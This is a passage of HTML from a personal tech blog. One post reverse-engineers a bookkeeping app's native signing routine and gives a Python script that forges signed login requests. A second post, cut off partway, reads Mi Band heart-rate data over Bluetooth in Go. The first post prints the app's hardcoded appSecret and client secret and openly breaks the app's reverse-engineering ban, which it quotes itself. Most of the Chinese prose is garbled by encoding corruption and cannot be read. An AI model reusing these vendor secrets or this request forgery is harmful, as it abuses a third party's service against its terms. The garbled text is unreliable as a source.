</span></span><span style="display:flex;"><span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">NewStringUTF</span>(v5, <span style="color:#a5d6ff">"utf-8"</span>);
</span></span><span style="display:flex;"><span> v26 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(v5, v25, <span style="color:#a5d6ff">"getBytes"</span>, <span style="color:#a5d6ff">"(Ljava/lang/String;)[B"</span>);
</span></span><span style="display:flex;"><span> v18 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">NewStringUTF</span>(v5, v35);
</span></span><span style="display:flex;"><span> v19 <span style="color:#ff7b72;font-weight:bold">=</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(v5, v18, v26);
</span></span><span style="display:flex;"><span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallVoidMethod</span>(v5, v32, v28, v19);
</span></span><span style="display:flex;"><span> v20 <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#ff7b72;font-weight:bold">*</span>v5)<span style="color:#ff7b72;font-weight:bold">-></span><span style="color:#d2a8ff;font-weight:bold">GetMethodID</span>(v5, v13, <span style="color:#a5d6ff">"digest"</span>, <span style="color:#a5d6ff">"()[B"</span>);
</span></span><span style="display:flex;"><span> v14 <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> ( v20 )
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> _JNIEnv<span style="color:#ff7b72;font-weight:bold">::</span><span style="color:#d2a8ff;font-weight:bold">CallObjectMethod</span>(v5, v32, v20);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#a5d6ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">return</span> v14;
</span></span></code></pre></div><p>å°è¿éå
¶å®å°±å·²ç»æ¯è¾æ¸
æ°äºã
é¦å
对æä»¬ä¼ å
¥ç ArrayList è°ç¨ <code>size()</code> æ¹æ³è·åäºå
¶é¿åº¦ï¼ç¶å为åé <code>v35</code> å¼è¾å
åãåé¢æ¯ä¸ä¸ª for 循ç¯ï¼éåæ们ç ArrayList ä¸æ¯ä¸ä¸ªé®å¼å¯¹ãè¥ key 为 <code>appSercet</code> åå <code>v35</code> æ¼æ¥é£æ®µå符ï¼å¦åå°±æ¼æ¥æ¬èº«ç valueã
åæ伪代ç å°±æ¯ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>v35 = ''
</span></span><span style="display:flex;"><span>for(i = 0; i < arrayList.length; i++){
</span></span><span style="display:flex;"><span> if arrayList[i].getKey() == "appSercet"{
</span></span><span style="display:flex;"><span> v35 += "853a0bb675aa143e6fa2dc607d55a9bb"
</span></span><span style="display:flex;"><span> } else {
</span></span><span style="display:flex;"><span> v35 += arrayList[i].getValue()
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>ä½å 为æä»¬ä¼ å
¥ç <code>appSercet</code> å¼æ¬èº«å°±æ¯ <code>853a0bb675aa143e6fa2dc607d55a9bb</code>ï¼æ以è¿ä¸ªå¤æå
¶å®å¯æå¯æ ãï¼åæ¶å®è¿éç <code>Secret</code> è¿æ¼é亅…ï¼</p>
<p>ä¹ååæ¯è°ç¨ <code>java.security.MessageDigest.getInstance()</code> è¿ä¸ªéææ¹æ³ãè¿ä¸ªæ¹æ³éè¦ä¼ å
¥å å¯çæ¹å¼ï¼å³ä¸ä¸ªå符串ã对åºå¨ä¸é¢å°±æ¯ä½¿ç¨ <code>NewStringUTF</code> æ¹æ³å建çå符串 <code>&dword_42D0</code>ã
é®äºä¸åä¼åäºè¿å¶çåå¦ï¼äºè§£å° IDA å¨è¿éæªè½åæåºæ¥è¿æ¯ä¸ªå符串ï¼æå®çç±»åéå½æäº intãåå»è¿ä¸ªåéè¿å
¥ä»£ç 段ï¼å°å
¶å¼ <code>0x35646D</code> 转为å符串为 <code>5dm</code>ï¼å³ <code>md5</code>ãï¼å±ä¹ä¸ç¥é为å¥æ¯åè¿æ¥çï¼
å
¶å®å°è¿éåé¢å°±åºæ¬å¯ä»¥ççåºæ¥äºï¼åç»çæä½å°±æ¯è°ç¨ <code>MessageDigest</code> ç» <code>v35</code> å符串å MD5 åå¸ãæå转æ bytes è¿åï¼è¿é¨åæ¹æ Java 代ç 为ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>MessageDigest<span style="color:#6e7681"> </span>md5Encoder<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>java.security.MessageDigest.getInstance(<span style="color:#a5d6ff">"md5"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>md5Encoder.update(v35.getBytes());<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">return</span><span style="color:#6e7681"> </span>md5Encoder.digest();<span style="color:#6e7681">
</span></span></span></code></pre></div><p>综ä¸ï¼so ä¸ç <code>code</code> æ¹æ³çæ´ä¸ªé»è¾ååç®åââå°ä¼ å
¥ç ArrayList ç Value æ¼æ¥ï¼ååä¸æ³¢ MD5ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>String<span style="color:#6e7681"> </span>str<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">""</span>;<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">for</span><span style="color:#6e7681"> </span>(<span style="color:#ff7b72">int</span><span style="color:#6e7681"> </span>index<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>0;<span style="color:#6e7681"> </span>index<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold"><</span><span style="color:#6e7681"> </span>paramArrayList.size();<span style="color:#6e7681"> </span>index<span style="color:#ff7b72;font-weight:bold">++</span>)<span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">if</span><span style="color:#6e7681"> </span>(paramArrayList.get(index).getKey().equals(<span style="color:#a5d6ff">"appSercet"</span>))<span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>str<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">+=</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">"853a0bb675aa143e6fa2dc607d55a9bb"</span>;<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span><span style="color:#ff7b72">else</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>str<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">+=</span><span style="color:#6e7681"> </span>paramArrayList.get(index).getValue();<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>MessageDigest<span style="color:#6e7681"> </span>md5Encoder<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>java.security.MessageDigest.getInstance(<span style="color:#a5d6ff">"md5"</span>);<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>md5Encoder.update(str.getBytes());<span style="color:#6e7681">
</span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span><span style="color:#ff7b72">byte</span><span style="color:#ff7b72;font-weight:bold">[]</span><span style="color:#6e7681"> </span>arrayOfByte<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>md5Encoder.digest();<span style="color:#6e7681">
</span></span></span></code></pre></div><h2 id="ç®ç®ååå个-python">ç®ç®ååå个 Python</h2>
<p>åå° jd-guiï¼å©ä¸ççä¼¼å¤æç循ç¯éåï¼<code>Integer.toHexString</code> ççï¼å
¶å®å°±æ¯å¨æä¸é¢è¿åç <code>byte[]</code> MD5 转æ¢æ <code>String</code>ã</p>
<p>è³æ¤ï¼æ们就已ç»æ¢³çæ¸
æ¥äºå¨å¨è®°è´¦ä¸ï¼è¯·æ±æ¥å£ç <code>sign</code> åæ°æ¯å¦ä½çæçãå®ä¹ä¸ <code>nonce</code> å å½åæ¶é´æ³æå
³ï¼å
¶ä½è¯·æ±åæ°å®å
¨ä¸åä¸ç¾åï¼è¿ä¹å¤ªæäºå§……</p>
<p>ç®ç®ååæ¿ Python å®ç°ä¸ï¼æ³¨æ <code>nonce</code> è½ç¶æ¯éæºå符串ï¼ä½å
¶è²ä¼¼å¹¶ä¸è½éå¤ï¼è¿éè¿æ¯å App éä¸æ ·ï¼æ¼æ¥ä¸å½åç毫ç§æ¶é´æ³ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#ff7b72">import</span> <span style="color:#ff7b72">requests</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> <span style="color:#ff7b72">time</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">import</span> <span style="color:#ff7b72">hashlib</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>timestamp <span style="color:#ff7b72;font-weight:bold">=</span> str(int(round(time<span style="color:#ff7b72;font-weight:bold">.</span>time() <span style="color:#ff7b72;font-weight:bold">*</span> <span style="color:#a5d6ff">1000</span>)))
</span></span><span style="display:flex;"><span>nonce <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">'E99p1ant'</span> <span style="color:#ff7b72;font-weight:bold">+</span> timestamp
</span></span><span style="display:flex;"><span>appSecret <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">'853a0bb675aa143e6fa2dc607d55a9bb'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sign <span style="color:#ff7b72;font-weight:bold">=</span> (appSecret <span style="color:#ff7b72;font-weight:bold">+</span> nonce <span style="color:#ff7b72;font-weight:bold">+</span> timestamp)
</span></span><span style="display:flex;"><span>md5 <span style="color:#ff7b72;font-weight:bold">=</span> hashlib<span style="color:#ff7b72;font-weight:bold">.</span>md5()
</span></span><span style="display:flex;"><span>md5<span style="color:#ff7b72;font-weight:bold">.</span>update(sign<span style="color:#ff7b72;font-weight:bold">.</span>encode(<span style="color:#a5d6ff">'utf-8'</span>))
</span></span><span style="display:flex;"><span>sign <span style="color:#ff7b72;font-weight:bold">=</span> md5<span style="color:#ff7b72;font-weight:bold">.</span>hexdigest()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>resp <span style="color:#ff7b72;font-weight:bold">=</span> requests<span style="color:#ff7b72;font-weight:bold">.</span>post(<span style="color:#a5d6ff">'https://api.daodao.cn/api/login'</span>,data<span style="color:#ff7b72;font-weight:bold">=</span>{
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">'address'</span>: <span style="color:#a5d6ff">'<REDACTED>'</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">'client_id'</span>: <span style="color:#a5d6ff">'daodao_ios'</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">'client_secret'</span>: <span style="color:#a5d6ff">'daodao2018'</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">'nonce'</span>: nonce,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">'password'</span>: <span style="color:#a5d6ff">'<REDACTED>'</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">'sign'</span>: sign,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">'timestamp'</span>: timestamp,
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(resp<span style="color:#ff7b72;font-weight:bold">.</span>json())
</span></span></code></pre></div><h2 id="ç®ç®ååå°è£
个-go">ç®ç®ååå°è£
个 Go</h2>
<p>Python éªè¯å®äºï¼åé¢å°±æ¯ç¨ Go å®ç°äºã
æå¼äºä¸ªä»åºï¼å°è£
äºä¸ä¸ª Go çæ¬ç SDKã
<a href="https://github.com/wuhan005/daodao-api">https://github.com/wuhan005/daodao-api</a></p>
<p>å®ç°äºåºæ¬çè´¦å·ç»å½ã以åè·ååå²è®°è´¦ä¿¡æ¯çæ¥å£ï¼å¤ååå
ç¨çäºãð
å¦æä½ è¶³å¤ openï¼ä½ çè³å¯ä»¥åºäºæ¤åä¸ä¸ª badge æå¡ï¼å°ä½ çæ¯æ¥å¼éæå¨ä½ ç GitHub Profile ä¸ãï¼ææ¯ä¸æ¢</p>
<p>è¿ä¹æ¯æå®å第ä¸æ¬¡é soï¼ä»¥åé½æ¯çç jar åºæ¬å°±æ¸æ¸
æ¥æ´ä¸ªè¯·æ±äºçãåçä¸å¯¹äºåä½ re ææ¥è¯´å¯è½è¿äºå®¹æäºï¼ä½æè¿æ¯ä»ä¸å¦å°äºä¸å°ä¸è¥¿ã</p>
<p>å½ç¶ï¼ä¸è¿°è¡ä¸ºæ¯ç»å¯¹è¿åãå¨å¨è®°è´¦ãç¨æ·åè®®çï¼</p>
<blockquote>
<p>8.2 软件使ç¨è§è
8.2.1 é¤éæ³å¾å
许æå¨å¨è®°è´¦ä¹¦é¢è®¸å¯ï¼ä½ 使ç¨æ¬è½¯ä»¶è¿ç¨ä¸ä¸å¾ä»äºä¸åè¡ä¸ºï¼
8.2.1.2 对æ¬è½¯ä»¶è¿è¡ååå·¥ç¨ãååæ±ç¼ãååç¼è¯ï¼æè
以å
¶ä»æ¹å¼å°è¯åç°æ¬è½¯ä»¶çæºä»£ç ï¼</p>
</blockquote>
<p>æå
å¨æ¤å个å
责声æï¼æ¬æä»
ä¾ç 究å¦ä¹ 使ç¨ï¼ç±æ¬ææè
æ¬é¡¹ç®æå¼åçä¸å责任ï¼æ¬äººåä¸æ¿æ
ã</p>
<p>å½ç¶å¦ææ¯æå·æ²¡äºé£å°±ç´æ¥å¸è½½ä¸ç¨äºï¼è¿æ³¢å±ä¹ä¸äºãð</p>
- Your Soul, Your Beats! ââ å°ç±³æç¯å®æ¶å¿çééhttps://github.red/miband-heart-rate/Sun, 13 Jun 2021 19:15:40 +0800https://github.red/miband-heart-rate/<p>ä¸å¨åå®é¥åå»åä¼åäºä¼ï¼å¬ Kevin 说å为æç¯å¯ä»¥åå®æ¹æ交ç³è¯·ï¼ä»èè·å¾æç¯çæ°æ®è®¿é®æéãä»è¿æå°ä¹åå°±æ Vtuber ç´æææ游ææ¶ï¼ç»é¢ä¸ä¼æ¾ç¤ºå®æ¶å¿ç以å¢å¼ºèç®ææã
è¿ç¡®å®æ¯ä¸ªå¾ Geek å¾é
·çç©æ³å¦ï¼è¦æ¯æè½å°æçå®æ¶å¿çå±ç¤ºå¨æç GitHub Profile ä¸ï¼å²ä¸æ¯å¸
ç¸äºï¼</p>
<p>说åå°±åï¼æä¸åå°å®¿èåæ大è´æç´¢äºä¸ç®åå¸é¢ä¸çæç¯ä»¥åå
¶äºå¼çé¾åº¦ï¼æåéæ©äºå°ç±³æç¯ 6 NFC çã
å以为åè¿ç§æç¯è³å°å¾å
«ä¹ç¾ï¼æ²¡æ³å° NFC çæ 279ï¼ç´æ¥äº¬ä¸ä¸åï¼
<img src="https://github.red/images/2021/06/JD_MiBand_500x.jpg" alt=""></p>
<p>第äºå¤©æ©ä¸å¿«éå°±éå°äºãæ°é¢å¦æ ¡ä½æµï¼æè¯ç带ä¸æç¯è·äº 1000 ç±³ï¼å¨å°ç±³å®æ¹çå°ç±³è¿å¨ App ä¸è½çå°å¿çæ£æµçææè¿ä¸éï¼åªæ¯æèªå·±æ£æ¥ä¸æ ·å°âè·âäºäºåé太æè¯äºã</p>
<h2 id="æ°æ®ä»ä½èæ¥">æ°æ®ä»ä½èæ¥ï¼</h2>
<p>é£ä¹æ¥ä¸æ¥å°±æ¥çä¸æ们åºè¯¥å¦ä½æ¿å°å¿çæ°æ®å§ã
é¦å
éè¦æèçé®é¢æ¯æ们çæ°æ®ä»ä½å¤è·å¾ãå°ç±³æç¯ä¸ææºè¿æ¥æ¶ï¼ä¼å°ç¸å
³ä¿¡æ¯åæ¥è³å°ç±³è¿å¨ Appï¼æ们å½ç¶å¯ä»¥å¯¹è¿ä¸ª App æ个å
æ¿å°æ¥å£ï¼è¯·æ±å°ç±³çæå¡å¨è·åæ们çæ°æ®ãä½è¿ç»äºæ´æ´ä¸åå¯å¤ªéº»ç¦äºï¼æç¯å°±æ´å¨ææä¸ï¼ä¸ºä½ä¸ç´æ¥éè¿èçè¿æ¥æç¯è¯»åæ°æ®å¢ï¼
è¿å°±æ¯æçæè·¯ï¼ææ³ç´æ¥å¨éè¿èçåè®®ä¸å°ç±³æç¯è¿è¡éä¿¡ï¼è·åçæ£çâä¸ææ°æ®âã
èèå°ä½¿ç¨ iPhone ä¸æç¯å»ºç«é¿è¿æ¥éä¿¡çè¯ï¼iOS åºç¨ä¿æ´»æ¹é¢ä¼°è®¡ä¼æä¸å 麻ç¦äºï¼åµä¸å Swift ä¸å¦è®©æå»æ»ãä¸å¦ç´æ¥å¨ MacBook ä¸è·ä¸ªåå°è¿ç¨ä¸ç´ç¨èçä¸æç¯äº¤äºæ¥çæ¹ä¾¿ãåæ£æ Mac ä¹åºæ¬æ¯é身带çãð</p>
<h2 id="è·åå°ç±³æç¯-auth-key">è·åå°ç±³æç¯ Auth Key</h2>
<p>å¿çä¿¡æ¯å¹¶ä¸å设å¤ççµæ± çµéãæ¶é´ä¿¡æ¯çç´æ¥å°±è½è·å¾ï¼å¨éè¿èçè·åå°ç±³æç¯çå¿çä¿¡æ¯ä¹åï¼æ¯éè¦å
ä¸æç¯è¿è¡éªè¯çã
éªè¯çæ¥éª¤å¤§è´å¦ä¸ï¼</p>
<ol>
<li>åå°ç±³æç¯è¯·æ±ä¸ä¸ªéæºæ°ã</li>
<li>æ¥æ¶å°éæºæ°åï¼ä½¿ç¨è¯¥æç¯ç Auth Key 对éæºæ°è¿è¡ AES 对称å å¯ã</li>
<li>å°å å¯åçä¿¡æ¯ååç»æç¯ã</li>
<li>éªè¯éè¿ã</li>
</ol>
<p>å¯¹äº Android ææºèè¨ï¼è·å Auth Key çæ¹æ³ååç®åï¼å¤§æ¦ï¼ï¼
访é®è¿ä¸ªç½ç«ï¼<a href="http://www.freemyband.com/">http://www.freemyband.com/</a> å¹¶æ ¹æ®é¡µé¢ä¸çæå¼ï¼ä¸è½½ä¸ä¸ªéæ¹è¿çå°ç±³è¿å¨ Appï¼æå¼åä¸æç¯é
对ï¼ä¹åå°±å¯ä»¥å¨ææº <code>/sdcard/freemyband</code> ç®å½è·åå°æç¯ç Auth Keyã</p>
<p>å¯ææçèæ§å®åæºååçåå¾ï¼å®çé
ç½®è·ä¸èµ·æ¥ä¸æä¸æå°ç Appï¼å æ¤ä»¥ä¸æ¥éª¤æ并æªå®é
æµè¯è¿ãæåææ¯ä½¿ç¨ä¸å°è¶ç±ç iPad è¿è¡æä½ã
æå¨ iPad ä¸å®è£
好å°ç±³è¿å¨ç Appï¼ä¸å°ç±³æç¯æåé
对åãSSH è¿ä¸ iPadï¼å¨</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/mobile/Containers/Data/Application/<MiFit_App_UUID>/Documents
</span></span></code></pre></div><p>ç®å½ä¸æ¾å°äº <code>HMDBDeviceInfoDataBaseV2.sqlite</code> è¿æ ·ä¸ä¸ª SQLite æ°æ®åºï¼<code>scp</code> å°å
¶æå°çµèä¸æå¼ï¼å¨ <code>device_info</code> 表ç <code>deviceOAuthKey</code> å段ä¸è·åå°äºæç¯ç Auth Keyã</p>
<p><img src="https://github.red/images/2021/06/MiFit_SQLite.png" alt=""></p>
<p>该 Auth Key å¨è®¾å¤æ¢å¤åºäº§è®¾ç½®åæä¼æ¹åï¼å æ¤ä¸è¬æ¥è¯´æ们æ¿å°è¿ä¸æ¬¡è®°ä¸æ¥å³å¯ã</p>
<h2 id="æ£æµçµèèçæ¯å¦æ£å¸¸">æ£æµçµèèçæ¯å¦æ£å¸¸</h2>
<p>ç°å¨è®©æ们æ¥è¯è¯éè¿ MacBook çèçä¸å°ç±³æç¯è¿è¡éä¿¡ãå¨ä½¿ç¨ Go ç¼åçæ£ç代ç åï¼æ们å¾å
æµè¯ä¸ Mac çèçï¼å
å¾åé¢è°è¯äºå天代ç æååç°æ¯çµèè¿ä¸ä¸å°ç±³æç¯ã
è¿éæ¨èä½¿ç¨ Bluetility æ¥è¿è¡æµè¯ï¼https://github.com/jnross/Bluetility ç´æ¥ç»ç«¯è¿è¡ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew install --cask bluetility
</span></span></code></pre></div><p>å®è£
æååæå¼ Appï¼ä½ ä¼å¨æå³ä¾§ç Devices å表ä¸çå°é件åç°çèç设å¤ãæ¾å°å¹¶ç¹å»ä½ çå°ç±³æç¯ï¼æçæ¯ <code>Mi Smart Band 6</code>ï¼ï¼å³ä¾§ Services ä¼åºæ¥ä¸åï¼ç¹å» <code>Battery</code>ï¼åå¨ <code>Characteristics</code> ä¸ç¹å» <code>Battery Level</code>ï¼è¿æ¶ä¾¿è¯»åå°äºè¿ä¸ª <code>Characteristics</code> çæ°æ®ï¼æ们éè¦å
³æ³¨è¯¥æ°æ®è½¬æ¢ä¸ºåè¿å¶æ¶çç»æï¼æè¿éæ¯ <code>100</code>ï¼å³å½åæç¯çµé为 100%ã</p>
<p><img src="https://github.red/images/2021/06/Bluetility.png" alt=""></p>
<p>好ï¼è¿è¯´ææ们çèç没æé®é¢ï¼ä¸é¢å°±æ¯å¼å§å代ç äºï¼</p>
<h2 id="å°è¯çåè·åçµéä¿¡æ¯">å°è¯çåï¼è·åçµéä¿¡æ¯</h2>
<p>æ们éè¦æ¾å°ä¸ä¸ª Go ç BLE (Bluetooh Low Energy) åºï¼ä»èå®ç°ä¸èç设å¤çéä¿¡ãå¨ GitHub ä¸ç®åçæç´¢è¿åï¼ä½ å¯è½å¾è½»æçå°±åç°äº <code>github.com/go-ble/ble</code> è¿ä¹ä¸ä¸ªåºã
<div class="box-warning box"><i class="box-icon-warning"></i> <b>æå注æ</b><br> github.com/go-ble/ble å·²ä¸å对 macOS å¹³å°è¿è¡ç»´æ¤ï¼ä»¥è³äºä½ å¨ macOS ä¸ä½¿ç¨è¯¥åºè¿ä»£ç ç¼è¯é½ä¸éè¿ï¼ </div>
</p>
<p>ä¸è¿æçå°è¿ä¸ªåºæä¸å°ç Forkï¼å¯ä»¥å°è¯ä½¿ç¨ Find useful forks çä¸ä¸ï¼<a href="https://useful-forks.github.io/?repo=go-ble%2Fble">https://useful-forks.github.io/?repo=go-ble%2Fble</a> ï¼å
¶ä¸ star æ°æå第äºç Fork <code>github.com/JuulLabs-OSS/ble</code> å¢å äºå¯¹ macOS Mojave ä¸ Catalina çæ¯æï¼æ们æåç¨çå°±æ¯å®ï¼</p>
<h3 id="设置èç设å¤">设置èç设å¤</h3>
<p>é¦å
æ们éè¦è®¾ç½®å¥½æ们 MacBook æ¬æºçèç设å¤ï¼è¿éå
¨é¨ä½¿ç¨é»è®¤çå³å¯ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>d, err <span style="color:#ff7b72;font-weight:bold">:=</span> darwin.<span style="color:#d2a8ff;font-weight:bold">NewDevice</span>()
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"new device"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>ble.<span style="color:#d2a8ff;font-weight:bold">SetDefaultDevice</span>(d)
</span></span></code></pre></div><h3 id="åç°éè¿çèç设å¤å¹¶è¿æ¥">åç°éè¿çèç设å¤å¹¶è¿æ¥</h3>
<p>设置好èç设å¤åï¼ä¹å代ç çæµç¨ä¸ä¸è¿°ä½¿ç¨ Bluetility App çæä½æµç¨å
¶å®æ¯ä¸æ ·çã
æ们éè¦åç°éè¿çèç设å¤ï¼<code>ble.Connect</code> æ¹æ³ä¼å¨åç°æ°ç设å¤æ¶è°ç¨å
¶ä¸çå¿åå½æ°ï¼å
¥å为设å¤çä¿¡æ¯ï¼æ们éè¿è®¾å¤ä¿¡æ¯ï¼è®¾å¤åãè®¾å¤ UUIDï¼çæ¥å¤æè¿æ¯å¦æ¯æ们æ³è¦è¿æ¥çç®æ 设å¤ï¼å¦æ确认è¿æ¥åè¿å <code>true</code>ï¼å¦åè¿å <code>false</code>ã
ä¸é¢ç代ç ä¸ç´è¿å <code>false</code>ï¼å¹¶å°åç°ç设å¤ä¿¡æ¯æå°åºæ¥ï¼ä½ å¯ä»¥å¨æå°åºç设å¤ä¿¡æ¯ä¸æ¾å°èªå·±å°ç±³æç¯çç¹å¾ãè¿éæ建议è¿æ¯ä½¿ç¨ <code>a.Addr()</code> è¿ä¸ªå¼è¾¨å«è®¾å¤æ¯è¾ç¨³å¥ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>ctx <span style="color:#ff7b72;font-weight:bold">:=</span> context.<span style="color:#d2a8ff;font-weight:bold">Background</span>()
</span></span><span style="display:flex;"><span>client, _ <span style="color:#ff7b72;font-weight:bold">:=</span> ble.<span style="color:#d2a8ff;font-weight:bold">Connect</span>(ctx, <span style="color:#ff7b72">func</span>(a ble.Advertisement) <span style="color:#ff7b72">bool</span> {
</span></span><span style="display:flex;"><span> fmt.<span style="color:#d2a8ff;font-weight:bold">Printf</span>(<span style="color:#a5d6ff">"%s - %s\n"</span>, a.<span style="color:#d2a8ff;font-weight:bold">LocalName</span>(), a.<span style="color:#d2a8ff;font-weight:bold">Addr</span>().<span style="color:#d2a8ff;font-weight:bold">String</span>())
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span>
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><h3 id="åç°è®¾å¤-services">åç°è®¾å¤ Services</h3>
<p>å¨ä½¿ç¨ Bluetility App è·å设å¤çµéæ¶ï¼æ们æç»éè¿è¯»å <code>Characteristics</code> ä¸çæ°æ®è·åå°è®¾å¤ççµéä¿¡æ¯ï¼é£ç°å¨éè¿ <code>ble</code> åºè¿ä¸äºè®¾å¤ï¼æåç°å
¶ <code>Client</code> ä¸å°±æ <code>ReadCharacteristic()</code>ï¼é£ä¹ææ¯ä¸æ¯å¯ä»¥ç´æ¥ä¼ å
¥ <code>Characteristics</code> ç UUID å»è¯»çµéäºå¢ï¼
çæ¡æ¯ä¸è¡çï¼æ们çæä½éè¦ä¸æ¥æ¥æ¥ãä¸ä½¿ç¨ Bluetility App å¾å½¢åæä½ä¸è´ï¼æ们éè¦å
åç°è®¾å¤ä¸ææç Servicesï¼åå»åç° <code>Service</code> ä¸ç <code>Characteristics</code>ï¼è¿æ¶æè½è¯»åå¯¹åº <code>Characteristics</code> ä¸çæ°æ®ã
åç° Services ç代ç å¾ç®åï¼æ们ä¹ä¸éè¦è®¾ç½®è¿æ»¤æ¡ä»¶ã</p>
